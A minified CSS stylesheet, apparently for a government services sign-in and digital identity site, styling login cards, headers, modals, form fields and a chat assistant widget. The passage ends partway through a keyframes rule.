.digital-id-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto 2em auto;padding:0 1em 1em 1em;text-align:center}@media screen and (min-width:576px){.unauth .digital-id-login-card{padding:16px 1em 20px 1em}}.unauth .digital-id-login-card .button-main{width:100%}.unauth .digital-id-login-card .identity-hub-info-text{background-color:#fff}.unauth .digital-id-login-card .identity-hub-info-text p{text-align:left;padding:10px}.unauth .digital-id-login-card:nth-child(2){padding:1em}.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .login-card label .help-text,.unauth .digital-id-main-login-card label .help-text{display:block}.unauth .login-card a.login-link,.unauth .digital-id-main-login-card a.login-link{margin-bottom:1.5em}.unauth .login-card .in-message-link,.unauth .digital-id-main-login-card .in-message-link{display:inline}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.unauth .login-card .button-main,.unauth .digital-id-main-login-card .button-main,.unauth .login-card .button-minor,.unauth .digital-id-main-login-card .button-minor{width:100%}.unauth .login-card .crest,.unauth .digital-id-main-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .login-card .crest img,.unauth .digital-id-main-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth .wap-login-card{background-color:#fff;padding:10px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .wap-login-card label .help-text{display:block}.unauth .wap-login-card a.login-link{margin-bottom:1.5em}.unauth .wap-login-card .in-message-link{display:inline}.unauth .wap-login-card input{margin-bottom:0}.unauth .wap-login-card .button-main,.unauth .wap-login-card .button-minor{width:100%}.unauth .wap-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .wap-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth h1 .success-msg,.unauth h1 .error-msg,.unauth h1 .info-msg{font-size:1.5rem}.unauth h1 .success-msg-text,.unauth h1 .error-msg-text,.unauth h1 .info-msg-text{padding-left:10px}.unauth .centered{text-align:center;display:block}@media screen and (min-width:576px){.unauth .centered{text-align:left}}.unauth div.contained{max-width:42em;margin-top:20px}.unauth footer[role='contentinfo'] .wrapper{padding:0 1em}@media screen and (min-width:768px){.unauth footer[role='contentinfo'] .wrapper{padding:0 2em}}.section-group{padding-top:1em;padding-bottom:1em}.login-grid-container{width:100%}@media screen and (min-width:992px){.login-grid-container{margin-top:1em}}.login-grid-container .sign-in-banner{display:none}@media screen and (min-width:992px){.login-grid-container .sign-in-banner{display:block;margin-bottom:1em;font-weight:600}}.login-grid-row:before,.login-grid-row:after{display:table;line-height:0;content:""}.login-grid-row:after{clear:both}.login-grid-column{float:left;box-sizing:border-box;min-height:1px;position:relative;width:100%}@media screen and (min-width:992px){.login-grid-column{width:50%}}header[role='banner'].unauth .unauth-grid{width:100%;height:48px;margin-top:1em}header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:1em;margin-right:1em}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:2em;margin-right:2em}}@media screen and (min-width:992px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:0;margin-right:0}}header[role='banner'].unauth .unauth-grid .unauth-grid-row:before,header[role='banner'].unauth .unauth-grid .unauth-grid-row:after{display:table;line-height:0;content:""}header[role='banner'].unauth .unauth-grid a{border-bottom:0}header[role='banner'].unauth .unauth-grid .coat-arms{margin-top:4px}header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:right;position:inherit;top:31px;margin-top:8px;width:90px}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:left;margin-top:8px;width:112px}}@media screen and (min-width:768px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{width:135px;margin-top:4px}}img#unauth-govt-crest{float:left;height:40px;margin-right:1em;color:#fff}@media screen and (min-width:576px){img#unauth-govt-crest{height:48px;margin-right:2em}}@media screen and (min-width:992px){img#unauth-govt-crest{margin-left:0;height:48px}}img#unauth-mygov-logo{float:right}@media screen and (min-width:576px){img#unauth-mygov-logo{float:left;color:#fff}}.header-logo-img{color:#fff}.header-logo-img:hover{text-decoration:underline!important}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:.5em}.divider{margin:1.5em 0;border-bottom:3px #999 dashed}.image-float-right{float:right}.mygovbeta-tip{overflow:auto}.tip-heading{margin-top:0!important;float:left;font-weight:500}.tip-text{float:left;width:60%}@media screen and (max-width:991px){.tip-heading{float:none;margin-top:0!important;text-align:center}.tip-text{float:none;width:100%;text-align:center!important}.image-float-right{display:block;margin:1.5em auto;float:none}.mygovbeta-tip{text-align:center}}.emergency-information{display:block;text-align:center;background-color:#fcb80e;color:#333;margin-bottom:0;padding:0;height:0}.emergency-information p,.emergency-information .emergency-text{display:inline}.emergency-information img{width:1em}.beta-information{height:auto;display:block;text-align:center;background-color:#66d3ee;color:#000}.beta-information p{padding-left:5px;padding-right:5px}.beta-information a{display:inline;color:#000;text-decoration:underline;border-bottom:0}.beta-information a:hover{background-color:#254a7e;color:#fff;text-decoration:underline}.mygovbeta-tip{overflow:auto}@media only screen and (max-width:992px){.mygovbeta-tip{text-align:center}}.tip-heading{float:left;font-weight:500}@media only screen and (max-width:992px){.tip-heading{float:none;margin-top:0!important}}.tip-text{float:left;width:60%}@media only screen and (max-width:992px){.tip-text{float:none;width:100%}}p.login-instruction-text{margin-left:10px}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-integration{padding:0}.wrapper-integration .welcome{max-width:400px;padding-left:1em;margin-left:auto;margin-right:auto}.wrapper-integration .welcome p{margin-top:0;margin-bottom:1.5em}@media screen and (min-width:576px){.wrapper-integration .welcome{max-width:600px}}@media screen and (min-width:992px){.wrapper-integration .welcome{padding-left:0}}.wrapper-integration .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:.5em 1em 1em 1em}@media screen and (min-width:576px){.wrapper-integration .main-block{max-width:600px;padding:.5em 2em 2em 2em}}.wrapper-integration-mapwap{padding:0}.wrapper-integration-mapwap h1:first-of-type{padding-top:1.5rem;margin-top:0}.wrapper-integration-mapwap .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:0 1em 3em 1em}@media screen and (min-width:576px){.wrapper-integration-mapwap .main-block{padding:0 2em 3em 2em;max-width:600px}}#integration-span{background-color:#eee}.account-info-group span{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.account-info-group #account-info-label{margin-top:1.2em;margin-bottom:.4em}.account-info-group #account-info-detail{font-size:1em;overflow-wrap:break-word;display:block}@media screen and (min-width:320px){.account-info-group #account-info-detail{font-size:1.25em}}.account-info-group #account-info-detail-changeable{background:#ccc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:.7em .5em}.account-info-group #account-info-detail-changeable div:first-of-type{overflow-wrap:break-word;width:48%}.unauth h1.login-vp{display:none}@media screen and (min-width:992px){.unauth h1.login-vp{display:block;font-size:2.25em;font-weight:400}}.unauth h2.login-vp,.unauth .login-vp.display{font-weight:500}.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:center}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:100%;height:auto;max-height:215px}@media screen and (min-width:576px){.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:30%}}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{position:relative}.unauth .product-description-vp .inner .tips span,.unauth .product-description-vp .product-description .digital-id-inner .tips span,.unauth .product-description .product-description-vp .digital-id-inner .tips span{display:inline-block;margin-top:1em}@media screen and (min-width:992px){.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:left}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{float:right}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{float:left}}.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{margin-top:0;text-align:left}}.unauth .product-description-vp .divider{margin:1.5em 0;border-bottom:3px #999 dashed}.unauth .product-description-vp ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:inside;padding-left:0}@media screen and (min-width:992px){.unauth .product-description-vp ul{overflow:auto}.unauth .product-description-vp ul li{float:left;padding-right:1em}}@-webkit-keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}@keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}.animated-dots span{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-direction:normal;animation-direction:normal;-webkit-animation-duration:1.5s;animation-duration:1.5s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear;border-radius:50%;background-color:#ccc;display:inline-block;margin:0 .3em;height:16px;width:16px}.animated-dots span:nth-child(1){-webkit-animation-delay:.9s;animation-delay:.9s}.animated-dots span:nth-child(2){-webkit-animation-delay:1.05s;animation-delay:1.05s}.animated-dots span:nth-child(3){-webkit-animation-delay:1.2s;animation-delay:1.2s}.animated-dots span:nth-child(4){-webkit-animation-delay:1.35s;animation-delay:1.35s}.animated-dots span:nth-child(5){-webkit-animation-delay:1.5s;animation-delay:1.5s}.offset-top{margin-top:30%;text-align:center}#poro-form label,.poro-form label{display:inline-block}#poro-form #profile-details .profile-label span:first-of-type,.poro-form #profile-details .profile-label span:first-of-type{font-weight:bold}#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{float:left;width:48%;clear:left}}#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{float:right;width:48%}}#poro-form .selectRadio,.poro-form .selectRadio{clear:left}#poro-form .sidebyside,.poro-form .sidebyside{display:table;width:100%}#poro-form .sidebyside>div,.poro-form .sidebyside>div{display:table-column;width:100%;display:block;clear:none}@media screen and (min-width:768px){#poro-form .sidebyside>div,.poro-form .sidebyside>div{width:48%;float:left;display:inline-block}}@media screen and (min-width:768px){#poro-form .sidebyside>div:nth-of-type(even),.poro-form .sidebyside>div:nth-of-type(even){float:right;display:inline-block}}#poro-form .poro-input,.poro-form .poro-input{width:100%}@media screen and (min-width:768px){#poro-form .poro-input,.poro-form .poro-input{width:48%}}#poro-form .poro-date-fields,.poro-form .poro-date-fields{display:block;clear:both}#poro-form .poro-input-group,.poro-form .poro-input-group{width:100%}@media screen and (min-width:768px){#poro-form .poro-input-group,.poro-form .poro-input-group{width:48%}}#poro-form .poro-field-group,#poro-form .poro-input-group,.poro-form .poro-field-group,.poro-form .poro-input-group{margin-top:15px;display:block;clear:both}#poro-form .poro-field-group label,#poro-form .poro-input-group label,.poro-form .poro-field-group label,.poro-form .poro-input-group label{margin-top:0;display:inline;position:relative;padding-top:0;width:100%}@media screen and (min-width:768px){#poro-form .poro-field-group.select-group,#poro-form .poro-input-group.select-group,.poro-form .poro-field-group.select-group,.poro-form .poro-input-group.select-group{clear:none}}#poro-form .buttonControl-group,.poro-form .buttonControl-group{margin-left:5px;position:relative;display:inline-block}#poro-form .buttonControl::after,.poro-form .buttonControl::after{content:'';background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(180deg);transform:rotate(180deg);background-repeat:no-repeat;border-color:black;color:#0f6493;position:absolute;right:-20px;height:8px;width:12px}#poro-form .buttonControl span,.poro-form .buttonControl span{font-size:1rem}#poro-form .buttonControl[aria-expanded="true"]::after,.poro-form .buttonControl[aria-expanded="true"]::after{background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(0deg);transform:rotate(0deg)}#poro-form .topic,.poro-form .topic{display:none;margin-bottom:1em;padding:10px;background-color:#bfe7f6;max-width:42em;font-size:87.5%;position:relative;margin-top:10px}#poro-form .topic:before,.poro-form .topic:before{bottom:100%;left:50px;border:solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none}#poro-form .topic:before,.poro-form .topic:before{border-bottom-color:#bfe7f6;border-width:10px;margin-left:-36px}#poro-form .topic p,.poro-form .topic p{margin:0}#poro-form .input-hint,#poro-form .help-box,.poro-form .input-hint,.poro-form .help-box{font-size:87.5%}#poro-form .input-hint p,#poro-form .help-box p,.poro-form .input-hint p,.poro-form .help-box p{margin:0;padding:0}#poro-form .poro-subgroup .sub-group-delimiter,.poro-form .poro-subgroup .sub-group-delimiter{float:left;width:1em;top:15px;height:100%;position:relative;display:inline-block}#poro-form .poro-subgroup input,.poro-form .poro-subgroup input{width:4em;float:left}#poro-form .poro-subgroup input.medium-input,.poro-form .poro-subgroup input.medium-input{width:5em}#poro-form .poro-subgroup input.large-input,.poro-form .poro-subgroup input.large-input{width:10em}#poro-form .poro-subgroup input.xl-input,.poro-form .poro-subgroup input.xl-input{width:100%}#poro-form .poro-subgroup input:first-of-type,.poro-form .poro-subgroup input:first-of-type{margin-right:5px}#poro-form input.irn-code,.poro-form input.irn-code{width:4em}#poro-form .modal-overlay,.poro-form .modal-overlay{background:rgba(0,0,0,0.8);height:100%;left:0;display:block;overflow:auto;padding:0 1.5em 1.5em;position:fixed;top:0;-webkit-transition:opacity .2s;transition:opacity .2s;width:100%;z-index:-1}#poro-form .modal-overlay h2,#poro-form .modal-overlay .display,.poro-form .modal-overlay h2,.poro-form .modal-overlay .display{border-bottom:0}#poro-form .modal-overlay[aria-hidden="true"],.poro-form .modal-overlay[aria-hidden="true"]{opacity:0;visibility:hidden}#poro-form .modal-overlay[aria-hidden="false"],.poro-form .modal-overlay[aria-hidden="false"]{opacity:1;visibility:visible;z-index:2}#poro-form .modal-content,.poro-form .modal-content{background:#fff;margin:auto;max-height:90%;max-width:400px;overflow:auto;overflow-x:hidden;padding:1em;position:relative;top:10%;-webkit-transform:scale(0.8);transform:scale(0.8);-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;width:100%}#poro-form .modal-overlay[aria-hidden="false"] .modal-content,.poro-form .modal-overlay[aria-hidden="false"] .modal-content{-webkit-transform:scale(1);transform:scale(1)}#poro-form #modal-title,.poro-form #modal-title{margin-top:0;padding-right:1.25em}#poro-form .btn-close,.poro-form .btn-close{background:0;border:0;cursor:pointer;font-family:arial;font-size:2em;font-weight:800;line-height:1;padding:0;position:absolute;right:.25em;top:.25em;z-index:2}#poro-form .help-container,.poro-form .help-container{background-color:#eee;padding:2em;font-size:.8rem}#poro-form .help-container p,.poro-form .help-container p{margin:0}#poro-form .help-container a,.poro-form .help-container a{color:#0f6493}#poro-form .help-container a:hover,.poro-form .help-container a:hover{color:#fff}#poro-form input[name*="clkCRN"][value="000000000Z"],.poro-form input[name*="clkCRN"][value="000000000Z"]{color:transparent}/*! Increment heading numers based on code from: http://philarcher.org/diary/2013/headingnumbers/ */ol.table-of-contents{padding-left:0;list-style:none}ol.table-of-contents ol{list-style:none}ol.table-of-contents .toc-n{display:inline-block;padding-right:.5em}.numbered-headings{counter-reset:h2}.numbered-headings h2,.numbered-headings .display{counter-reset:h3}.numbered-headings h3,.numbered-headings #poro-form #modal-title,#poro-form .numbered-headings #modal-title,.numbered-headings .poro-form #modal-title,.poro-form .numbered-headings #modal-title{counter-reset:h4}.numbered-headings h4{counter-reset:h5}.numbered-headings h5{counter-reset:h6}.numbered-headings h2::before,.numbered-headings .display::before{counter-increment:h2;content:counter(h2) ". "}.numbered-headings h3::before,.numbered-headings #poro-form #modal-title::before,#poro-form .numbered-headings #modal-title::before,.numbered-headings .poro-form #modal-title::before,.poro-form .numbered-headings #modal-title::before{counter-increment:h3;content:counter(h2) "." counter(h3) " "}.numbered-headings h4::before{counter-increment:h4;content:counter(h2) "." counter(h3) "." counter(h4) " "}.numbered-headings h5::before{counter-increment:h5;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) " "}.numbered-headings h6::before{counter-increment:h6;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) "." counter(h6) " "}.numbered-headings h2.nocount:before,.numbered-headings .nocount.display:before,.numbered-headings h3.nocount:before,.numbered-headings #poro-form .nocount#modal-title:before,#poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings .poro-form .nocount#modal-title:before,.poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings h4.nocount:before,.numbered-headings h5.nocount:before,.numbered-headings h6.nocount:before{content:"";counter-increment:none}.help-info-group{position:relative;display:inline-block}.help-info::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-inline::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-inline[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}img#mygov-access-conf{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#mygov-access-conf{margin-top:1em}}img#warning{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#warning{margin-top:1em}}@media screen and (-webkit-min-device-pixel-ratio:0){img#app-store-logo{padding-bottom:10px}}@-moz-document url-prefix(){img#app-store-logo{padding-bottom:10px}}img#play-store-logo{height:59.98px}a.app-logo{border-bottom:0}a.app-logo:hover{background-color:transparent}#idp-link-info{padding-left:unset;list-style-position:inside}#idp-link-info h3,#idp-link-info #poro-form #modal-title,#poro-form #idp-link-info #modal-title,#idp-link-info .poro-form #modal-title,.poro-form #idp-link-info #modal-title{display:inline;margin-bottom:.8em}#idp-link-info img.link-step{width:30%;display:block;margin:1.5em auto}#idp-link-info .next-step{display:none}#idp-link-info .link-step-info{text-align:center}@media screen and (min-width:768px){#idp-link-info{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}#idp-link-info .next-step{display:inline;-webkit-flex-basis:5%;-ms-flex-preferred-size:5%;flex-basis:5%;margin:3em 0}#idp-link-info .link-step{-webkit-flex-basis:33%;-ms-flex-preferred-size:33%;flex-basis:33%;min-width:150px}#idp-link-info img.link-step{width:50%;margin:3em auto}#idp-link-info img.next-step{width:60%}}img#externallinkicon{height:1em}.va_clearfix:before,.va_clearfix:after{content:"";display:table}.va_clearfix:after{clear:both}.va_chatAnchor{position:relative;z-index:999999;bottom:0;right:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;min-width:320px;line-height:1;-webkit-transition:1s;transition:1s;color:#fff;display:none}.va_iframe{display:block;height:0;width:350px;min-width:320px;position:fixed;right:50px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;bottom:0;border:0;overflow:scroll;box-shadow:0 0 3px rgba(0,0,0,0.3)}.va_header{max-height:45px;background:#777;background:-webkit-linear-gradient(#4d4d4f,#777);background:linear-gradient(#4d4d4f,#777);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');color:#fff;cursor:pointer;position:relative}.va_header:focus{outline:3px solid #fff}.va_toggleIcon{background:url(../icons/va_arrowup.svg);background-size:20px 10px;background-repeat:no-repeat;padding-top:10px;position:absolute!important;right:0;display:block;background-position:center;top:0;height:0!important;width:0!important;margin:0;margin-right:15px;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_toggleIcon:focus{outline:3px solid #fff}.va_expanded{background:url(../icons/va_arrowdown.svg);background-size:20px 10px;background-repeat:no-repeat;background-position:center}.va_resizeIcon{height:0;width:0;background:url(../icons/va_resizelarge.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center;position:absolute!important;right:45px;bottom:2px;top:0;display:block;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_resizeIcon:focus{outline:3px solid #fff}.va_resizeIcon.va_large{background:url(../icons/va_resizesmall.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center}h1.va_chatTitle{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h2.va_chatTitle,.va_chatTitle.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h1.va_chatTitle_mob{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1rem;line-height:inherit;margin:0}h1.va_chatTitle_mob:focus{outline:3px solid #fff}h2.va_chatTitle_mob,.va_chatTitle_mob.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}#va_chatHeader{position:fixed;bottom:0;right:50px;width:350px;cursor:pointer}#va_chatHeader:focus{outline:3px solid #fff}.va_chatBorder{height:10px;width:inherit;background:#d7ea6a;position:relative;z-index:2;cursor:pointer}.va_skipToLink{display:none}.va_skipToLink.active{display:block!important;z-index:10;position:absolute;color:#000;background:#fff;padding:5px;font-weight:bold;top:-1000px;left:-1000px;height:0;width:0;font-size:.875rem!important;text-decoration:underline}a.va_skipToLink:focus,a.va_skipToLink:hover{top:0;left:0;outline:3px solid #666;height:40px;width:140px;margin-left:20px;margin-top:0;background:#fff}.va_chatborder{background:#d7ea6a}.va_header{height:50px;background:#026540}#va_chatHeader .va_header:hover{background:#014c30}@media screen and (max-width:599px),screen and (max-height:490px){.va_chatAnchor{right:0;width:100%;height:100%}.va_header{box-shadow:none}.va_chatBorder{display:none}#va_mobileBar{display:block;position:fixed;right:50px;bottom:0;width:150px;height:45px;background:#026540;background:-webkit-linear-gradient(#4d4d4f,#777);background:-webkit-linear-gradient(#026540,#026540);background:linear-gradient(#026540,#026540);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');border-top:#1c78b9 5px solid;color:#fff;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:normal;font-size:1.2rem;font-weight:bold;padding-left:10px;line-height:2.5;-webkit-text-size-adjust:100%}.va_mobileLarge{width:100%!important;top:0;left:0;border-radius:0!important;padding-left:20px!important}#va_chatHeader{display:none}#va_mobileToggle.va_mobileToggle{height:80px!important;width:100%;background:url(../icons/va_arrowup.svg);background-position:right 5px bottom 45px;background-size:20px 10px;background-repeat:no-repeat;position:absolute!important;right:0;bottom:-25px;display:block}#va_mobileToggle.va_mobileToggle.va_open{height:55px!important;background:url(../icons/va_arrowdown.svg);background-repeat:no-repeat;background-position:right 25px bottom 20px;background-size:20px 10px;right:17px;left:initial;bottom:-5px!important}.va_chatTitle{position:absolute;bottom:-2px;height:0;left:-20px;font-size:1rem}body{padding-bottom:40px}}.identity-profile-table{border-top:1px solid black}.identity-profile-table th:first-of-type,.identity-profile-table td:first-of-type{border-right:1px solid #999}.identity-profile-table th{display:table-cell;border-style:none;width:initial}.identity-profile-table th:focus{outline:-webkit-focus-ring-color auto 5px}.identity-profile-table th>img{vertical-align:middle}.identity-profile-table td{vertical-align:top}.identity-profile-givenname,.identity-profile-familyname,.identity-profile-dob{display:block}.login-grid-column.alternative:first-of-type{border:1px solid #999;border-radius:10px;background-color:white}@media screen and (min-width:768px){.login-grid-column.secondary{margin-top:0}}.digital-id-inner{margin-top:2em;padding:0 1em!important}@media screen and (min-width:992px){.digital-id-inner{margin-top:0;padding:0 2em}}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.digital-id-barrier{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.password-helper-text{font-size:.9rem}.login-grid-row.alternative{margin:10px}#secondary-identity-modal.hidden{display:none}#secondary-identity-modal.shown{position:-webkit-sticky;position:sticky;z-index:1060;background-color:white;top:10%}@media screen and (min-width:768px){#secondary-identity-modal.shown{position:fixed}}.identity-link-process ol{margin-left:1em}.digital-id-main-login-card.alternative{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.transparent-background{background-color:transparent!important}.identity-modal-button-container .cancel-action{min-width:160px}.confirm-action{background-color:#222;color:white;min-width:160px}.confirm-action:disabled{background-color:#ccc}.sign-in-banner.alternative{font-size:22px;font-weight:bold;display:block;margin-top:10px;margin-left:10px}h2.digital-id-header,.digital-id-header.display{margin-top:0;font-weight:700;font-size:18px}#digital-id-selection fieldset{margin-top:0}#digital-id-selection legend{border-bottom:0;margin-bottom:0;display:none}#digital-id-selection legend h3,#digital-id-selection legend #poro-form #modal-title,#poro-form #digital-id-selection legend #modal-title,#digital-id-selection legend .poro-form #modal-title,.poro-form #digital-id-selection legend #modal-title{margin-top:0}.hr-divider{background:-webkit-linear-gradient(top,#eee 50%,white 50%);background:linear-gradient(to bottom,#eee 50%,white 50%);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;height:5em}.hr-divider .rounded-border{border:1px solid #999;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:4px}.digital-id-login-card.alternative{text-align:left;background-color:transparent;margin-bottom:0}.new-modal{position:fixed;top:0;left:0;z-index:1050;width:100%;height:100%;overflow:hidden;outline:0;background-color:rgba(0,0,0,0.8)}.generic-modal{padding:1em}.new-modal-content{background-color:white}#modal-zone{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}#secondary-modal-header{margin-top:0}#new-modal-content,#secondary-identity-modal{max-width:600px;width:100%}@-webkit-keyframes fadein{from{opacity:0}to{opacity:.8}}@keyframes fadein{from{opacity:0}to{opacity:.8}}@-webkit-keyframes 